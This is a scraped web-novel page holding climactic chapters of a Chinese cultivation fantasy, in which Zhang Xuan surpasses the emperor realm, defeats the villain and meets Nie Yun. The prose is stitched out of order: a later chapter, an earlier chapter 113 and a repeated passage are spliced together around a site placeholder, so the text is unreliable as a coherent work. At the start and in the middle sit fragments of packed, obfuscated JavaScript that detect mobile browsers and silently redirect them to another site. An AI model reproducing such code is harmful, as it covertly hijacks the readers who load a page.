RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16768691|186727||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 体方法,张悬之前详细询问过,恐怕那时就动了心思。 这才故意拼死,让其施展出最强力量对他攻击。 借助这种力量,浴火重生,没想到,果然大获成功! “原来如此,这才是突破帝君的方法……” 从火焰中走出的张悬,脸上露出淡淡的微笑,像是明白了什么,突然一招手,一侧的分身,立刻重新变成一朵莲花,飞了过来。 刹那间,与自身完美融合。 一眨眼功夫,众人感觉,眼前的张悬,像是变成了九天,九天就是他。 脚掌在地上轻轻一踏。 混乱的九天,立刻稳定下来。 九天混沌金莲,九天诞生时出现,能够稳定九天,此时分身和自我完美融合,不分彼此,也就等于他掌控了这种力量。 不仅如此,融合了九天混沌金莲的修为,他本就达到巅峰的境界,出现了松动,似乎随时都会突破。 “主仆情、兄弟情、师生情、父母情、爱情……融合在一起,原来就是世间万物,这才是人!” 面带微笑,张悬喃喃自语。 天道图书馆脱离灵魂的刹那,他明白过来。 是人看了世界,才有了世界,还是先有世界,后有了人? 是风动,还是心动! 这个问题,亘古不朽的困扰着无数人。 当然,现在……这些都不重要了! 没有生命,没有情感,世界就算存在,又有何意义? 所以,突破爱情之后,是众生情!是交织天下的情感。 世间万物皆有情感,有情才有世界,有情感,才能延续生命。 爱,是情。 憎,是情。 高兴,是情。 痛苦,是情。 离别,是情。 相聚,也是情! “万千情意,为我所用……” 一声低呼,张悬体内禁锢的境界,瞬间破开。 帝君桎梏,突破了! 一瞬间,仿佛触摸到了一个全新的世界和大门,灵魂得到了快速的滋养。 无数混沌之气,涌了过来,肉身也飞速提升。 之前只有吸收灵力,才能进步,而现在空间乱流、混沌之气,哪怕是对方的青光,都可以为我所有,不分彼此。 “你……”狠人没想到,自己的全力攻击,非但没将其斩杀,反而成全了他,气的“哇哇!”乱叫,一声怒喝,再次攻击下来。 “你怨恨高高在上的帝君,没在空间乱流中救下自己,是情;觉得曾是我的仆人,蕴含卑微和愤怒,是情;想要毁灭神界,发泄愤怒,是情;想要变得更加强大,同样是情……情感控制着你,你又如何胜得过我,不被我控制?” 淡淡一笑,张悬的声音越来越快,越来越响亮,手掌轻轻一抓。 原本纵横无敌的狠人,就被无数情感细线,禁锢在一起,束手束脚,无法动弹。 只要有情,就要被他所用,被他控制! “你……” 狠人眼中满是惶恐:“张师,我是你的仆人,不要杀我……我愿意灵魂献祭……” “现在再说这些,已经晚了……”微微一笑,张悬摇了摇头。 掌控天下之情,仆人之类对于他来说,已经没任何意义了。 杀了神级这么多人,伤了自己的女朋友,洛七七以及这么多朋友,今天,又怎么可能宽恕! “不……” 感受到他的果决,狠人瞳孔收缩,话音未结束,立刻感到身上一阵剧烈的疼痛。 嘭! 一刹那间,**开来,化作无数灵气,向神界各处灌涌。 之前,潮汐海吞噬掉的所有力量,此时全部反哺回来,已经枯竭的荒野,重新焕发生机。 “这……” “这样就杀了?” 云螭大帝、不死帝君、玲珑仙子啊等人,全都瞪大了眼睛,不敢相信。 刚才他们和狠人交过手,知道可怕,这么强大的人,竟然随手覆灭,这位张悬……到底达到了何种地步? 难道帝君之上,真的还有另外的境界? “他成功了……” 孔师和洛若曦,松开捏紧的拳头。 “这是天道的一部分,那我现在就归还天道……” 看到刚才从自己体内,被分离出来的“天道有缺”,依旧在空中悬浮,张悬轻轻一笑,屈指一弹。 嗡! 从重生就伴随他的图书馆,轰然镶嵌在神界的天空之上。 大钟般的鸣响,不断崩溃的神界,肉眼可见的缓慢恢复,混乱的气流,也重新聚拢起来。 崩塌的神界,终于停了下来,干枯的灵气,也伴随狠人的死亡,慢慢复苏。 “看来,神界要重新迎接灵气复苏时代了……”张悬一笑。 潮汐海的窟窿,伴随天道的补全,已经恢复,神界恢复以前的盛况,只是时间问题。 “张悬,这边来……” 刚做完这些,脑中响起一个声音,张悬愣了一下,一步跨出。 这一步,不知飞了多远,随即看到一个青年站在面前。 正是之前传授自己剑法的那位。 “前辈,你……” 看到是他,张悬一愣。 之前就觉得这位,深不可测,现在才发现,比起自己,也只差了一丝而已,已然达到了帝君的最巅峰,比起之前的洛若曦,都强大不知多少。 “直呼我名字即可,我叫……聂铜!”青年身上散发出一往无前的剑意,淡淡道。 “聂铜?”张悬皱了皱眉。 第一次听到这个名字。 “跟我来,带你见我哥哥!”叫做聂铜的青年莞尔一笑,向前跨步而出。 张悬紧跟在身后,不知飞了多远,在一个山峰前停了下来。 随即看到了另外一个青年。 容貌比他大不了多少,双眉上扬,给人一种深邃不可看穿之感。 “这实力……”张悬一颤。 眼前这位青年的实力,竟然比他还要强大,同样突破了帝君的桎梏,而且修为更加深远厚重! “在下,聂云!”青年淡淡一笑,看了过来:“也就是……聂灵犀,你口中洛若曦的父亲!” “若曦的父亲?” 张悬一震:“你……是神界天道?” 之前洛若曦说过,自己的父亲,是天道,怎么都想不到,是这样一个年轻人。 “我一气化三清,一部分灵魂,变成了天道!再说,这个世界,是我创造的,说我是天道也无不可!”聂云淡淡一笑。 张悬不敢相信。 神界竟然是眼前这人创造的? 那他的实力,该有多强? “不对,如果神界是你创造的,你又是天道,为何任由狠人肆虐,而不出手……”张悬看过来。 如果不是自己突破,神界极有可能彻底崩塌,为何眼前这人,不管不问? 甚至连女儿的生死,都关心? 没回答他的问题,聂云淡淡的看过来:“你认为……神界之上,还有更加强大的生命吗?” “这……”张悬停顿了一下:“应该有吧……” 虽然没见过,但既然他能修炼到这种境界,或许其他人也可以,甚至更强。 就好像眼前这位。 “我曾怀疑,神界之上会有更强大的生命,所以用尽全力窥视,最终引来了更高世界的反噬……一个手掌破空而下!” 聂云看过来:“当时如果我躲闪,极有可能整个神界都会被抹平,再没有半个生命……所以,挡下了这招,但也因此,化身的天道被**出去。” “这种情况,我想恢复,只是一道意念而已,但……我明白,想要真正超脱神界桎梏,去探索手掌由何而来,神界之外,又有什么……单靠我一人很难做到。所以,想要看看,有没有生命,能够突破帝君桎梏,达到和我平齐的地步!” “所以,就将分散的天道意念,送到最底层的世界……分别赐予原本属于这个世界的灵魂,和一个不属于这个世界的灵魂。而你,最终没让我失望!” 聂云笑道。 “不属于这个世界的灵魂,这样说来,我穿越,也是因为你?”张悬心中一震。 难怪,能够穿越过来,没想到都是眼前这位所为。 “呵呵!”聂云轻轻一笑,道:“本身属于这个世界,就有着对世界的敬畏,想要突破世界桎梏,难度要大得多,我也是心念一动,并没想到,你真的能够成功……” “我……”张悬脸色一红:“如果不是孔师,我根本不可能达到这种地步……” 没有孔师的无私奉献,想要达到现在的境界,根本不可能做到。 “机会我给他了,没把握住而已。和灵犀的比斗,其实就是他突破的最佳机会,可惜,他选择了退避,以为自己留了后手,可以全身而退,实际上却是失去了勇猛精进,面对超越我们的人,如果连这点精神都没有,又如何能够与之抗衡?” 聂云道。 张悬沉默不语。 当时二人的战斗,他都看在眼里,孔师的确在果决上有些欠妥。 也有可能,他不愿意斩杀洛若曦吧。 可惜,就这一念之间,错过了晋级的机会。 “如果孔师获胜,若曦就会死……”片刻后,张悬看过来,眉毛皱起。 难不成,眼前这位连女儿的生死都不管了? “有我在,她不会死……”聂云淡淡一笑:“你现在的实力,和我也差不了多少了,你觉得二人的实力,生死关头,想要救人,能不能做到?” “这……”张悬苦笑。 突破帝君,和帝君,是两个概念,如果他真的愿意出手,的确可以在最后关头将人救下,而且保证,一点伤都受不了。 “灵犀,是我另外一个妻子洛倾城所生,所以她伪装的名字,姓洛……为了能让她相信,不感情用事,到现在一直以为我还陷入昏迷……” 聂云苦笑一声:“我这个爹也算做得够狠了……这样吧,这件事还是你和她解释吧,毕竟,她现在的心思,已经转移到你身上了,我这个老爹,估计都想不起来了……哈哈,我暂时就不出现了,躲避上一段时间再说,不然,真怕她闹得天翻地覆……” 看到眼前这位如此不靠谱的老爹,面皮一抽,张悬只好答应:“好吧……” 不答应也没办法,谁让自己拐走了人家的女儿…… “天道图书馆,是我一道意念所化,是根基,也是桎梏,你能靠自己的能力,突破桎梏,说明了能力和潜力,将来前途无量,我女儿能和你在一起,做父亲的,也算欣慰了。” 正在手打中,请稍等片刻,内容更新后,请重新刷新页面,即可获取最新更新! 第113章这是一个局 灵魂契约,契合灵魂,只要自己不解除,哪怕对方手段通天,都无法化解。 就好像不死帝君小黄鸡,之前只是神王,他是帝君,同样没办法解决这种约定。 为了防止这家伙变卦,出现反噬的现象,名师大陆就曾专门定下,即便对方可以脱离天道之册,也无法挣脱灵魂间的约定啊! “灵魂契约,的确无法从识海中**出去,但我融合了连天道都可以化解的特殊气体,将这种契约化解掉,并不难……只要有足够力量,轰击契约所在之处,就能做到!” 狠人道。 灵魂契约,是建立在天道基础上的,特殊力量连神界天道都能化解,化解个灵魂契约,只要处理得当,又有何难? “原来如此……”张悬目光一闪。 “和你说这么多,也算感谢将我带到神界了!” 解释完,狠人不再多说,身上的气息愈发的亘古悠远,身后的黑洞变得更加巨大,显然说话的功夫,又吞噬了不知多少力量,做了滋补。 “张悬,黑洞吞的越多,他的实力越强……” 洛若曦也发现了不对劲,急忙传音过来。 “准备动手吧!”心中疑惑尽消,张悬深吸一口气,手中长剑,陡然扬起:“既然如此,那就手底下见真章吧!” 轰隆! 最强大的剑意,再次施展而出。 生当复来归,死当长相思! 生死皆不在乎,又有何事可以阻拦? 这一招剑法,虽然是没达到帝君领悟的,却蕴含了心中的一切执念,将体内的天若有情**,发挥到了极限。 呼! 一剑将狠人的攻击,斩成两半。 同一时刻,洛若曦也出手了,玉手翻滚,剑芒如雪。 她的剑法和剑神天的那位青年有些相似,带着一往无前的气势,和大道自然的潇洒。 “你们的招数是很厉害,但对比我,还是差了些……” 轻轻一笑,狠人再次向下抓来。 一瞬间,遮天蔽日,手掌将天地都笼罩了,空间碎裂,日月星辰都仿佛要被硬生生打下来。 噗!噗! 张悬和洛若曦同时倒飞而出,人在空中鲜血狂喷。 以二人的实力,竟然抵挡不住! 这家伙到底达到了何种境界? “放肆!”分身大步踏来,每走一步,就有莲花绽放,虚空中带着流水的声音。 远远看去,逼格十足。 炼化九天混沌金莲,他的修为比起张悬,丝毫不弱。 一拳扬起,力量冲上九天。 和狠人对碰,同样倒飞而出,挡不住一招。 张悬捂住额头。 成就帝君了,分身依旧不改装逼的本性…… 这么绚丽的装逼,还不如将力量集中起来,威力更大! “一起出手,不然,他们**,我们都会死……” 小黄鸡一声大喝,赤红的的火焰燃烧,天空都像被点燃。 剩下六大帝君,也各自施展手段。 七位帝君联合,毁天灭地,一方天地在面前都抵挡不住,但对方是吸收了特殊力量的狠人,攻击来到跟前,黑洞陡然变大,眨眼功夫就将力量吞噬干净,紧着着反击而出。 嘭嘭嘭嘭! 七位帝君和张悬等人一样,倒飞而出。 十大帝君,联合在一起,竟然都没挡住对方一招! 这家伙,怎么会这么强大? “你们可以**……” 一招击溃众人,狠人向前一步,手腕一翻,再次拍了下来。 “鼠辈敢尔!” 伴随一声大喝,之前剑神天的那位老者,突兀出现,挡在面前,手中长剑化作银河。 “帝君?他也是帝君实力?” 张悬瞳孔一缩。 这位老者当初跟在青年身后,本以为只是个随从,最多封号神王,施展出力量才发现,竟然也是一位帝君强者! 如果他是帝君,那位青年,是什么? “他本身就是剑神天的帝君……”挣扎站着身来,洛若曦咬牙道。 “那……传我剑法的青年呢?”张悬再也忍不住。 “他是……”洛若曦刚想回答,空间一阵扭曲,随即看到剑神天的这位帝君,同样倒飞了出去,落在不远处,砸出一个大坑。 张悬现在的实力,和对剑道的领悟,远超过他,都抗衡不住,他即便修为不弱,剑术高明,依旧不是对手。 “哈哈,帝君,一群土鸡瓦狗而已!今天我就灭了九天,灭了这神界,将一切规则踏平!” 将剑神天的帝君击败,狠人疯狂大笑,四周的空间不停坍塌,衬托的他如妖如魔。 “怎么办?”张悬拳头捏紧。 刚才他和分身,都施展出最强战斗力了,甚至眼前的洛若曦,也将最强招数使用了出来,都没挡住对方的一招…… 难道神界,真的没人能够挡住眼前这位? 任由他将世界毁灭? “唯一的办法……是将你的天道有缺,回归天道本身,让天道将他**……”洛若曦秀拳捏紧,眼眶泛红。 “回归天道本身?”张悬知道她的意思。 脑海中的图书馆,本身是天道的一部分,一旦回归,天道就等于彻底完整了,或许就可以修复漏洞,自我将狠人排斥出去。 就好像人体的免疫系统。 免疫系统完整,病毒来了,轻易驱赶;坏了,抵抗不住病毒入侵,再强壮的人,也会因此死亡。 只是…… “他太强大了,即便天道恢复完整,也无法**吧!”张悬摇头。 病毒,免疫系统是可以斩杀,但……猛虎呢? 再强的免疫系统,又有什么办法? 眼前这位,只是普通神王,哪怕封号,天道都可以轻易杀死,可比帝君都要强大……已然不是天道可以抗衡的了。 “这……”洛若曦停顿了一下,洁白的玉面上露出失落之色:“是啊……没办法**,但是,天道完整,他就能醒过来,斩杀这位,并不难!” “他?”张悬皱眉。 “我带你去见他,就在自在天……”深吸一口气,洛若曦一咬牙,转身就向前飞去。 “想逃?”狠人冷哼,向下一按。 嘭! 洛若曦从空中坠落。 “你……”张悬剑法再次施展出来,剑意辉煌而出。 叮叮叮! 再次被狠人挡住。 “你们快走,我来挡住他……” 知道他们再想拯救神界的方法,而不是逃走,分身和不死帝尊,一声大喝挡在前面,洛七七也摇身一变,回归静空珠本体。 四周的空间凝固起来。 “走!” 见众人奋不顾身挡在后面,无畏惧死亡,张悬眼眶一红,不过,也知道现在不是多说的时候,一拉洛若曦,身体一晃,划破空间,下一刻已经出现在了自在天的范围。 自在天现在已经没了之前的自在,神界崩塌,四处一片混乱。 “你说的他,在哪里?” 没空去观察普通人的生活,张悬看向怀中的女孩。 如果她说的那人,真能拯救神界,自己牺牲又何妨! “他是我的父亲,你吊坠中的血液,就是他的,不死帝君,曾是他的兽宠……”洛若曦调息了一下,解释道。 “父亲?” 张悬恍然大悟。 难怪一直觉得吊坠中的血液和洛若曦相似,却又不同,原来是她父亲的。 这样也就解释了,为何不死帝君留下的那道意念,看到吊坠后,立刻认自己为主。 “你父亲也是帝君?或者拥有超越帝君的实力?” 忍不住道。 图书馆混乱,是吊坠中的血液,让自己恢复清醒,难不成,不仅她是帝君,父亲也是,甚至更加强大? 如果是这样的话,又为何会昏迷? 又需要天道有缺,才能让其清醒? “他不是帝君,而是……天道!” 洛若曦秀拳捏紧。 “天道?你父亲……是天道?”张悬一震,不敢相信。 “是!五十年前,父亲抵挡不住那只大手,陷入昏迷,天道崩散成三部分,天道有序和天道有缺,进入空间乱流,我代为掌控天道自然,维持神界的平衡。想要让他恢复,只有将散开的部分收集……所以,我才如此决绝,不能失败!才专门进入名师大陆,研究春秋大典,想办法战胜孔师!和孔师战斗的时候,拜托他的事,也是这个。” 洛若曦道。 张悬恍然。 名师大陆刚认识不久,眼前的女孩,就和自己讲述过她的故事,要救一位至亲,自己当时还不明白,现在才恍然大悟。 竟然是她父亲,而且还是神界天道! 天道真的能够化成人形,并且生儿育女吗? “代为掌控天道自然……你体内,没有天道碎片?”突然,意识到她语言中的不对劲,张悬看过来。 代为掌控,和自己这种融合在体内,是两种概念。 “我只是掌控,并不是天道的一部分……”洛若曦道。 张悬松了口气。 这样说起来,只需要自己将天道有缺剥离出来就行了,并不需要她也死亡。 尽管这种命运,不愿意接受,却也不愿意眼前的女孩,受到伤害。 “我将体内的天道有缺剥离出来,你父亲就能活过来,甚至将狠人击杀是吧?”张悬看来。 “这……我也不确定……” 抬头看了看已经崩塌的神界,洛若曦迟疑。 神界是父亲的根基,现在根基都这样了,就算清醒,真的能够将那个强大的狠人击败吗? 真不好说! “看来你也不能肯定,既然如此,求人不如求己……我们只有自己想办法!”张悬咬了咬牙:“你、我、分身,联合九天九帝,如果在配合上孔师,未必不能获胜!” “孔师?他……”洛若曦皱眉。 “孔师已经**是吧!他并未真正死亡,如果猜的没错,他被你斩杀,只是用来脱离天道的方法……不出意外,他应该和魏长风一样,是【先天胎魂体】!” 张悬道。 看到魏长风,就明白过来,孔师所谓的保持灵智,应该和他一样,是先天胎魂体。 可以做到胎中不迷。 再加上提前留下的后手,复活,只是时间问题。 洛若曦愣住,似乎她没想到,会是这样。 “过去看看就知道了,猜的不错,他应该已经恢复,不然,他的那些学生,不可能连潮汐海都没去……”张悬道。 孔师的那些学生,子渊古圣等人,个个实力强劲,就算没有帝君帮助,也必然有办法进入潮汐海,可却一个都没见。 必然是有更重要的事情等着,想要趁所有帝君去潮汐海无暇顾及的时候去做! 而这种重要的事,明显就是让孔师恢复。 “这……”洛若曦心中一震,恍然大悟。 “走吧!” 不再解释,单手一划,张悬重新来到孔师居住的所在,果然看到一个老者盘膝悬浮在空中,见他们来到,微微一笑:“来了!” 不是孔师,又是何人! 这位万世之师,果然没让自己失望! 和猜测的一样,趁着所有人都将注意力集中在潮汐海的时候,重新复活了。 “你……”洛若曦娇躯一震。 她知道帝君可以复活,不死帝君也活过来了,但……没想到速度这么快! “我隐瞒天道,提前就准备了后手,幽魂池中的那个没有名字的巨人,就是我留下的,当日被你斩杀,我借机摆脱了天道的束缚,重新凝聚肉身,现在也刚刚恢复罢了!” 孔师微微一笑。 他精通时间能力,看起来神界只过了一、两天,实际上为了恢复力量,经历了不知多久。 几十年的时光,都有了。 “我们三人的实力,是很强,但想要胜过狠人,也没那么容易……” 见孔师果真恢复,洛若曦依旧摇头。 不是涨他人威风,灭自己志气,而是事实。 刚才这么多人联合,都没挡住对方,即便增加一个孔师,又能如何? 同样改变不了局面! “我们单个的实力,甚至联合在一起,的确不是对方的对手,但……如果将所有人的力量,都融合在一个人的身上呢?” 孔师笑着看过来。 “融合在一个人身上?” 这次不光洛若曦皱眉,张悬也满是疑惑。 “那个手掌能够撕裂神界,将天道都打散,实力之强,不容置疑,狠人将这股力量全部吸收,又吞噬了神界五十年的灵气,单凭实力,我们十几位帝君,单个拿出来,的确不是对手……” 孔师道:“但联合在一起,将力量集中在一人身上……就未必了吧!” “如何集中?” 洛若曦看过来。 说的简单,做起来难。 帝君已经站在神界最巅峰了,如果这么容易吸收别人的力量,她也不至于这么多年,停滞不前。 “很简单……我们将身上的力量,集中在张悬身上,一旦他能冲破帝君桎梏,就能救下神界!” 孔师道。 “我?”张悬一愣:“为什么是我?” “灵犀帝尊修炼的是自由自在,超脱自然!但有了父亲和天道的制约,有了牵挂的人,就永远没办法真正超脱!如果我没看错,当初和我战斗的时候,你也曾放弃过,打算被我斩杀吧!” 孔师道。 洛若曦说不出话来。 战斗的时候,的确有过这种打算,所以二人的交手,刚开始的时候,各自留着后手,宛如切磋,不像生死搏斗。 “无法超脱,自然也就发挥不出最强力量,即便给与再多的真气,同样无法冲击那至高的境界!至于我……” 孔师点头道:“心怀苍生,想要普度天下,却不愿意别人为我牺牲,仁慈太多,也是缺点!如果心狠一些,将异灵族灭族,就不会有现在的局面……” 当初如果能将异灵族人全部灭杀,狠人就不可能复活,也不会有现在的情况。 “所以,我也不适合!而张悬,**顺心,没有缺陷。讲究活出自我,哪怕身死,只要活得无愧,就心中坦荡。这种人拥有更大的包容,更大的发展空间,只有这样,才能走的更高,更远!” 孔师继续道。 生当复来归,死当长相思! 连死亡都不在乎,又怎么会被其他事情所羁绊? “这……”张悬皱眉,正想说些什么,就见孔师目光炯炯的看过来:“不用推辞了,先说时间来不及,去培养其他人,就算来得及,我也觉得未必有人能比你做得更好!灵犀帝尊体内虽没有天道碎片,却常年掌控天道,对天道有着属于自己的理解;我掌控天道有序,如果我们将力量灌输给你,你体内就会拥有完整天道的力量!配合上分身的九天混沌金莲,完全可以做到定九天,掌乾坤,战九霄,灭万物!” “好吧!” 见对方已经做出决定,自己解释再多也无用,张悬点了点头。 轰隆! 盘膝做好,一眨眼功夫,两股雄浑的力量,就从两侧灌涌而来。 张悬全身一僵,整个人仿佛刹那间化身天道,翱翔在九天之上。 灵魂、肉身、真气,都在瞬间得到了洗礼,越来越强,越来越雄浑。 …… “你们也想拦我?也好,杀了你们,再去将张悬斩杀……” 将洛七七和分身等人拍飞,狠人冷冷一笑。 分身和诸多帝君联合施展而出的力量,的确很强大,不过,和他比,依旧弱了一些。 潮汐海将神界出了城市外的灵气,几乎全部吞噬干净,现在这些力量,都化作他的寄养,举手投足,带着毁灭天地的能力,这些帝君、神王,尽管代表了神界最巅峰,依旧不堪一击。 此时的狠人,仿佛代表了整个神界,无人能挡。 “神界灭亡,我们活着也没意义,我云螭,与你同归于尽……” 云螭大帝变化出本体,一头巨大的五爪金龙,凌空向他扑了过去。 “就你?不配!” 狠人手掌一捏,金龙就挂在掌心,无论如何挣扎,都逃脱不掉。 “老友,等我!” 扶猛帝君也一声大吼,变化出白虎本尊,凌空来到跟前。 不死帝君,不死火凤本尊显示出来,火焰照耀天空。 玄冥大帝,本尊乃一头大龟,宛如托举着诸天。 四大神兽,镇守神界四极,同时变化本体,崩塌的神界,都变得缓慢下来。 乾坤仿佛在瞬间定住。 嘭嘭嘭嘭! 连续四掌,狠人将四兽**下来,眼中闪过一道浓烈的杀意:“既然你们找死,我就成全你们……” 咆哮声中,正想下死手将众人全部抹杀,就感到扬起的手臂一紧,在空中停了下来。 “想要杀他们,问过我没有……” 随即,众人震惊的目光中,一个人影从空中缓步走了出来。 正是张悬! 此时的青年,全身力量澎湃,比刚才强大了十倍不止,自天而来,宛如整个人就是一个世界。 “进步了不少……” 狠人停了下来,目光凝重。 他显然也没明白,为何短短几分钟的光景,对方的实力有了如此巨大的变化。 “不过,增加了又如何?全盛期的神界,都抵挡不住,我不信,你能挡得住我……” 一声冷哼,狠人再次拍落而下。 张悬长剑扬起,迎了上来。 双方战斗在一起,空间一道道撕裂,气流四处乱窜。 “张悬能不能获胜?” 自在天孔师驻地,洛若曦满是担忧的看过去。 她和孔师将力量传递给张悬,自身修为,已经降低到只有神王级别,不如之前那么辉煌了。 不过,级别在哪里摆着,只要力量足够,终有一天,可以重新恢复。 “凭借现在的实力,想要胜过……很难!除非……他能领悟超越帝君的力量!” 沉默了片刻,孔师道。 十几个帝君联合,都无法胜过狠人,即便他们将力量全部传递给对方,想要胜过,也没那么容易。 之所以这样做,是因为……力量只有集中在一人身上,才有可能触碰到顶点,才有可能真正超越极限,突破自我! “超越帝君的力量?” 洛若曦眼神悠远。 父亲还清醒的时候,曾和她说过同样的话,但……她无法做到,自己心爱的男子,能够做到吗? “他一定能……他有着一颗不屈的心!和对这个世界的傲然。” 看出她心中的疑问,孔师笑道。 …… 嘭嘭嘭! 连续几招下来,张悬虎口开裂,胸口出现了一道巨大的伤痕,狰狞可怖。 和孔师说的一样,即便融合了他们二人的力量,体内形成了完整的天道,依旧不是对手。 “哈哈,还以为多厉害,不过如此!”狠人冷冷一笑。 “反正不是你的对手,早晚都会**,既然如此,我想死在你最强的攻击之下……”深吸一口气,张悬停了下来,不在进攻,反而看向眼前的狠人。 “好,我成全你,给你最强的攻击……” 听他这样说,狠人愣了一下,随即冷哼一声,手掌扬起。 哗啦! 一道青光出现在掌心,猛地拍落而下。 果然是最强攻击,整个神界都发出轰鸣,宛如快要承受不住,再次被打出一个巨大的坑洞。 双眼紧闭,张悬并未躲避。 嘭! 脑袋炸裂开来,灵魂四处溃散。 “张悬……”看到这一幕,所有人都脸色一白。 洛七七宛如发疯。 云螭大帝等人也瞪大眼睛,不停哆嗦。 看到这一幕的孔师和洛若曦也全都一愣。 本意是让他突破桎梏,冲击超越帝境境界的,怎么不去反抗,甘心赴死? 这样,岂不辜负了他们的一番好心? “不对,是不死帝君的不死之法……” 正在奇怪,孔师突然开口。 众人随即看到,脑袋炸开,甚至灵魂碎裂的张悬,胸口的吊坠陡然炸开,一滴血液悬浮而起,燃烧起来,形成了一团炙热的火焰,火焰中,一具完好无损的身影,缓步而出。 “他……借助对方的力量,和吊坠中的血液,将天道有缺和灵魂分离了?” 洛若曦瞳孔收缩。 浴火重生后的张悬,体内竟然没了天道图书馆,没了天道的干扰,脱离了天道! “他怎么做到的?” 孔师也满是不敢相信。 天道和灵魂融合在一起,不分彼此,为了摆脱,他不得不魂飞魄散,借助幽魂池重新凝聚魂魄。 眼前这位,只被斩杀了一下,就彻底摆脱,用了什么办法? “我知道了……他用了狠人摆脱灵魂契约的办法……”洛若曦反应过来。 灵魂契约绑定主人和仆人,主人不解除,仆人就永远受制……天道图书馆也是这样,可以说是一种增强版的契约。 绑定了灵魂,不死不会脱离。 但……狠人借助那种特殊力量摆脱了灵魂契约,具 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“你……”狠人没想到,自己的全力攻击,非但没将其斩杀,反而成全了他,气的“哇哇!”乱叫,一声怒喝,再次攻击下来。 “你怨恨高高在上的帝君,没在空间乱流中救下自己,是情;觉得曾是我的仆人,蕴含卑微和愤怒,是情;想要毁灭神界,发泄愤怒,是情;想要变得更加强大,同样是情……情感控制着你,你又如何胜得过我,不被我控制?” 淡淡一笑,张悬的声音越来越快,越来越响亮,手掌轻轻一抓。 原本纵横无敌的狠人,就被无数情感细线,禁锢在一起,束手束脚,无法动弹。 只要有情,就要被他所用,被他控制! “你……” 狠人眼中满是惶恐:“张师,我是你的仆人,不要杀我……我愿意灵魂献祭……” “现在再说这些,已经晚了……”微微一笑,张悬摇了摇头。 掌控天下之情,仆人之类对于他来说,已经没任何意义了。 杀了神级这么多人,伤了自己的女朋友,洛七七以及这么多朋友,今天,又怎么可能宽恕! “不……” 感受到他的果决,狠人瞳孔收缩,话音未结束,立刻感到身上一阵剧烈的疼痛。 嘭! 一刹那间,**开来,化作无数灵气,向神界各处灌涌。 之前,潮汐海吞噬掉的所有力量,此时全部反哺回来,已经枯竭的荒野,重新焕发生机。 “这……” “这样就杀了?” 云螭大帝、不死帝君、玲珑仙子啊等人,全都瞪大了眼睛,不敢相信。 刚才他们和狠人交过手,知道可怕,这么强大的人,竟然随手覆灭,这位张悬……到底达到了何种地步? 难道帝君之上,真的还有另外的境界? “他成功了……” 孔师和洛若曦,松开捏紧的拳头。 “这是天道的一部分,那我现在就归还天道……” 看到刚才从自己体内,被分离出来的“天道有缺”,依旧在空中悬浮,张悬轻轻一笑,屈指一弹。 嗡! 从重生就伴随他的图书馆,轰然镶嵌在神界的天空之上。 大钟般的鸣响,不断崩溃的神界,肉眼可见的缓慢恢复,混乱的气流,也重新聚拢起来。 崩塌的神界,终于停了下来,干枯的灵气,也伴随狠人的死亡,慢慢复苏。 “看来,神界要重新迎接灵气复苏时代了……”张悬一笑。 潮汐海的窟窿,伴随天道的补全,已经恢复,神界恢复以前的盛况,只是时间问题。 “张悬,这边来……” 刚做完这些,脑中响起一个声音,张悬愣了一下,一步跨出。 这一步,不知飞了多远,随即看到一个青年站在面前。 正是之前传授自己剑法的那位。 “前辈,你……” 看到是他,张悬一愣。 之前就觉得这位,深不可测,现在才发现,比起自己,也只差了一丝而已,已然达到了帝君的最巅峰,比起之前的洛若曦,都强大不知多少。 “直呼我名字即可,我叫……聂铜!”青年身上散发出一往无前的剑意,淡淡道。 “聂铜?”张悬皱了皱眉。 第一次听到这个名字。 “跟我来,带你见我哥哥!”叫做聂铜的青年莞尔一笑,向前跨步而出。 张悬紧跟在身后,不知飞了多远,在一个山峰前停了下来。 随即看到了另外一个青年。 容貌比他大不了多少,双眉上扬,给人一种深邃不可看穿之感。 “这实力……”张悬一颤。 眼前这位青年的实力,竟然比他还要强大,同样突破了帝君的桎梏,而且修为更加深远厚重! “在下,聂云!”青年淡淡一笑,看了过来:“也就是……聂灵犀,你口中洛若曦的父亲!” “若曦的父亲?” 张悬一震:“你……是神界天道?” 之前洛若曦说过,自己的父亲,是天道,怎么都想不到,是这样一个年轻人。 “我一气化三清,一部分灵魂,变成了天道!再说,这个世界,是我创造的,说我是天道也无不可!”聂云淡淡一笑。 张悬不敢相信。 神界竟然是眼前这人创造的? 那他的实力,该有多强? “不对,如果神界是你创造的,你又是天道,为何任由狠人肆虐,而不出手……”张悬看过来。 如果不是自己突破,神界极有可能彻底崩塌,为何眼前这人,不管不问? 甚至连女儿的生死,都关心? 没回答他的问题,聂云淡淡的看过来:“你认为……神界之上,还有更加强大的生命吗?” “这……”张悬停顿了一下:“应该有吧……” 虽然没见过,但既然他能修炼到这种境界,或许其他人也可以,甚至更强。 就好像眼前这位。 “我曾怀疑,神界之上会有更强大的生命,所以用尽全力窥视,最终引来了更高世界的反噬……一个手掌破空而下!” 聂云看过来:“当时如果我躲闪,极有可能整个神界都会被抹平,再没有半个生命……所以,挡下了这招,但也因此,化身的天道被**出去。” “这种情况,我想恢复,只是一道意念而已,但……我明白,想要真正超脱神界桎梏,去探索手掌由何而来,神界之外,又有什么……单靠我一人很难做到。所以,想要看看,有没有生命,能够突破帝君桎梏,达到和我平齐的地步!” “所以,就将分散的天道意念,送到最底层的世界……分别赐予原本属于这个世界的灵魂,和一个不属于这个世界的灵魂。而你,最终没让我失望!” 聂云笑道。 “不属于这个世界的灵魂,这样说来,我穿越,也是因为你?”张悬心中一震。 难怪,能够穿越过来,没想到都是眼前这位所为。 “呵呵!”聂云轻轻一笑,道:“本身属于这个世界,就有着对世界的敬畏,想要突破世界桎梏,难度要大得多,我也是心念一动,并没想到,你真的能够成功……” “我……”张悬脸色一红:“如果不是孔师,我根本不可能达到这种地步……” 没有孔师的无私奉献,想要达到现在的境界,根本不可能做到。 